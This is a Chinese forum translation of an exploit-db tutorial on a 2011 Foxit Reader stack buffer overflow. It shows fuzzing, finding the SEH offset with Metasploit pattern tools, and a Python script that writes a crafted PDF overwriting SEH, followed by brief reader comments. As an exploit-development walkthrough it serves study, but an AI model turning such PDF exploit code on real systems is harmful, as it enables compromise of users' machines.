-
-
[翻译]Foxit阅读器栈缓冲区溢出—egghunter方法
-
发表于: 2011-3-30 13:22
-
【原文】http://www.exploit-db.com/foxit-reader-stack-overflow-exploit-egghunter/
在以前，Adobe Reader 的0day可以说是遍地都是，自然地Foix Reader便被认为是比Adobe更为安全的选择。虽然那意味着Foxit的可利用的漏洞不如Adobe多，但是这并不等同于完全没有。
带着探究的目的，笔者就用Microsoft SDL MiniFuzz进行了一些模糊测试。让程序读取了很多文件，当然许多都是黑帽上的白皮纸文件，然后开始不断地测试它。经过几个小时的测试，笔者惊喜的发现了一些崩溃现象，其中有一个崩溃能够导致SEH被覆写。
图1
而下一步，就需要定位出是什么引起了这次崩溃，因此笔者用一个文本编辑器打开了这个pdf文件。如图
图2 
由此可以了解到，首先，SHE被0x00E700E7（译者注：Unicode会在字节前面自动加00）覆写，由此可知这是一个Unicode利用程序；其次，程序的崩溃是因为Foxit在清理读入的标题标签的时候的失败导致的。笔者接下来的任务就是定位出来是在字符串的哪里发生了覆写，因此笔者用Metasploit随机生成了10000个字符，然后将它们粘贴进pdf文件中。
# ./pattern_create.rb 10000 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab
# ./pattern_offset.rb r9As 10000 538
#!/usr/bin/python preamble = "\x25\x50\x44\x46\x2D\x31\x2E\x34\x0A\x25\xE2\xE3\xCF\xD3\x0A\x38\x31\x20... ...\x30\x30\x27\x29\x2F\x54\x69\x74\x6C\x65\x28\x50\x61" lead = "\x41" * 538 nseh = "\x42\x42" seh = "\x43\x43" trailer = "\x44" * 9384 trailer += "\xE7\xE7" trailer += "dookie was here: breaking your pdf reader application" trailer += "\x29\x3E\x3E\x0A\x65\x6E\x64\x6F\x62\x6A" sploit = preamble + lead + nseh + seh + trailer filename = "foxit_title.pdf" evil = open(filename, 'w') evil.write(sploit) evil.close
... lead = "\x41" * 538 nseh = "\x41\x6d" # Walk over SEH seh = "\x2F\x4D" # p/p/r from app binary ...
[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课
|
|
|---|---|
|
|
好文~~~~
|
|
|
 凑个热闹
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
以后再研究
|
